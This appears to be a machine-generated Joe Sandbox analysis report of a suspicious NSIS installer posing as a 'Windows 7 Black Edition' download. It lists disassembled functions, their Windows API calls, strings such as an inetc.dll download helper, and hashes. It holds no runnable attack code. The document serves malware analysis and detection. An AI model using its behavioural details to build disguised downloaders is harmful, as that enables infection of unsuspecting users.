Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp$C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft$s4$vE6
API String ID: 2803837635-2002147460
Opcode ID: 6147c8ce7f916bf316bc462c049502f5517c6654920939d23064a14b970bc3fe
Instruction ID: 0b72a330c31c6d4d52753dad6a5c3012229d4666e6dae103a7747cbc92612fb8
Opcode Fuzzy Hash: 6147c8ce7f916bf316bc462c049502f5517c6654920939d23064a14b970bc3fe
Instruction Fuzzy Hash: B761E231A40215ABDB20DF64DE49B9E7BB4EB04315F20407BF904B62D2D7BC9E458B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00401734 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,get,00429800,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,get,get,00000000,00000000,get,00429800,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,Windows 7 Black Edition Free Download Full.exe,NSIS Error), ref: 00405B73

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

Strings

C:\Users\user\AppData\Local\Temp\nskDC2.tmp, xrefs: 0040177E, 004017ED, 0040180B
get, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2
C:\Users\user\AppData\Local\Temp\nskDC2.tmp\inetc.dll, xrefs: 00401801, 0040181D

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nskDC2.tmp$C:\Users\user\AppData\Local\Temp\nskDC2.tmp\inetc.dll$get
API String ID: 1941528284-3939285031
Opcode ID: 1f0edc045cd382c84092dd40ce01d8f20d2440185c22bd3c7f2df70350d19866
Instruction ID: ca24b6133afb507e547736dc5ab02d451b7f1a2d30e0a517c5ad6537af4b780a
Opcode Fuzzy Hash: 1f0edc045cd382c84092dd40ce01d8f20d2440185c22bd3c7f2df70350d19866
Instruction Fuzzy Hash: 8441C131900515BBCB10BFB5DD46EAF3A79EF01369B24433BF511B11E1D63C9A418AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00403043 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403058

Part of subcall function 004031F1: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402E9D,0000B5E4), ref: 004031FF

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000), ref: 0040308B
WriteFile.KERNEL32(0040B040,0041236D,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403145
SetFilePointer.KERNEL32(00377389,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403197

Strings

vE6, xrefs: 00403097, 00403104
@0A, xrefs: 004030B8
m#A, xrefs: 00403114, 0040312D
s4, xrefs: 004030A2

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: @0A$m#A$s4$vE6
API String ID: 2146148272-1073199994
Opcode ID: 09db56204c7f15284c341d007dee54cfa9a87c515f6ef0f82ef5e9c09c89c7a4
Instruction ID: c862c83604f3b109b9ae356e59bf9e99270c6d64ee518f880403d0392c1b0dc8
Opcode Fuzzy Hash: 09db56204c7f15284c341d007dee54cfa9a87c515f6ef0f82ef5e9c09c89c7a4
Instruction Fuzzy Hash: 4B41ABB25042029FD710CF29EE4096A7FBDF748356705423BE501BA2E1CB3C6E099B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00404F04 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

Strings

Completed, xrefs: 00404F24, 00404F36, 00404F3C, 00404F5F, 00404F6B

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
Instruction ID: 33d69ec58002f5e3cec48cf4aa7ac502a1da6879986bf9ca4026f821734cd723
Opcode Fuzzy Hash: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
Instruction Fuzzy Hash: C4219D71A00108BBDF119FA5CD849DEBFB9EB49354F14807AFA04B6290C3389E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402F18 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00409130,00000000,00000000,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402F3F
ReadFile.KERNEL32(00409130,00000004,0000B5E4,00000000,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130), ref: 00402F6C
ReadFile.KERNEL32(00413040,00004000,0000B5E4,00000000,00409130,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402FC6
WriteFile.KERNEL32(00000000,00413040,0000B5E4,000000FF,00000000,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402FDE

Strings

@0A, xrefs: 00402FA6

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$Read$PointerWrite
String ID: @0A
API String ID: 2113905535-1363546919
Opcode ID: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
Instruction ID: f0f891dec1baa82fcb152a6e3a42d02399587e043c2e4755ce28507b82245ee9
Opcode Fuzzy Hash: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
Instruction Fuzzy Hash: 3F315731501249EBDB21CF55DD40A9E7FBCEB843A5F20407AFA05A6190D3789F81DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?), ref: 00401F9C
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007

Strings

?B, xrefs: 00401FC7

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: ?B
API String ID: 2987980305-117478770
Opcode ID: a57e8c0769ea844e22e0c1e1f0cba5f5542df926a794c83fcda134ba5213478a
Instruction ID: 83c29b7dad20212888764ed045f323035a642c1bbb84e8da84d377f5f563bf0e
Opcode Fuzzy Hash: a57e8c0769ea844e22e0c1e1f0cba5f5542df926a794c83fcda134ba5213478a
Instruction Fuzzy Hash: D621EE72D04216EBCF207FA4DE49A6E75B06B44399F204237F511B52E0D77C4D41965E

Uniqueness

Uniqueness Score: -1.00%

Function 0040586C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040587F
GetTempFileNameA.KERNEL32(?,0061736E,00000000,?), ref: 00405899

Strings

"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe", xrefs: 00405873
C:\Users\user\AppData\Local\Temp\, xrefs: 0040586C, 0040586F
nsa, xrefs: 00405878

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-912598212
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 7bdb262dbebad2fb51735791196b4a750b565e3ebaa120aaaad2cbe3184e43fd
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: B1F0A73734820876E7105E55DC04B9B7F9DDF91760F14C027FE44DA1C0D6B49954C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
Instruction ID: 67abd366a37910a3fb0c7fe19d632a25016d3899897cc5a5bd850e91adcb6683
Opcode Fuzzy Hash: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
Instruction Fuzzy Hash: B721C4B1A44209BFEF01AFB4CE4AAAE7B75EF44344F14053EF602B60D1D6B84980E718

Uniqueness

Uniqueness Score: -1.00%

Function 004053C6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SearchPathW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004224A8,Error launching installer), ref: 004053EB
CloseHandle.KERNEL32(?), ref: 004053F8

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004053C6
Error launching installer, xrefs: 004053D9

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CloseHandlePathSearch
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 4258352748-1785902839
Opcode ID: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
Instruction ID: 069b69ca15cd8b990da55ccc95fe3be7356009797bdfa18ab8f6d6c8c96e71ef
Opcode Fuzzy Hash: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
Instruction Fuzzy Hash: A3E0ECB4A00219BFDB00AF64ED49AAB7BBDEB00305F90C522A911E2150D775D8118AB9

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 004056ED: CharNextA.USER32(0040549F,?,004218A8,00000000,00405751,004218A8,004218A8,?,?,74DF2EE0,0040549F,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",74DF2EE0), ref: 004056FB
Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 00405700
Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 0040570F

CreateDirectoryA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNEL32(00000000,00429800,00000000,00000000,000000F0), ref: 00401622

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
Instruction ID: c38907cd9fbddcdb820990ab727de55d75fa8bca08f123d111df4852c942a759
Opcode Fuzzy Hash: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
Instruction Fuzzy Hash: 7E010431D08141AFDB216F751D4497F27B0AA56369728073FF891B22E2C63C0942962E

Uniqueness

Uniqueness Score: -1.00%

Function 00403208 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00403229

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403209, 0040320E, 00403214, 00403220, 00403228, 0040322F
1033, xrefs: 00403230

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-517883005
Opcode ID: abd89e45c2a658b1316b3d4f01b0b3756ccb9227471bfd75c63f163c6189ffd7
Instruction ID: 28437e5e833f6c5712a3d87292ca06883de7807d6adf700678bf42288e0e849f
Opcode Fuzzy Hash: abd89e45c2a658b1316b3d4f01b0b3756ccb9227471bfd75c63f163c6189ffd7
Instruction Fuzzy Hash: 11D0C922656E3032C651363A3C0AFDF091C8F5271AF55847BF908B40D64B6C5A5259EF

Uniqueness

Uniqueness Score: -1.00%

Function 00406566 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
Instruction ID: 319d18918fa2cc3741333e20ed782d5c303dd2f769888eebbc994f2124d7c2e6
Opcode Fuzzy Hash: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
Instruction Fuzzy Hash: 29A15171E00229CBDF28CFA8C8547ADBBB1FF44305F15812AD856BB281D7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406767 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
Instruction ID: 868f2ec1f3ea74d7de1394d818727f69d5aca31e92bf34b5737afca42cfaef71
Opcode Fuzzy Hash: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
Instruction Fuzzy Hash: 6E913171D00229CBEF28CF98C8547ADBBB1FF44305F15812AD856BB281C7789A9ADF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040647D Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
Instruction ID: e06b97397237a54a8f7c6fae7a0c48c933f493286525731b7b3672fa0d973436
Opcode Fuzzy Hash: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
Instruction Fuzzy Hash: 678155B1D00229CFDF24CFA8C8447ADBBB1FB44305F25816AD456BB281D7789A96CF54

Uniqueness

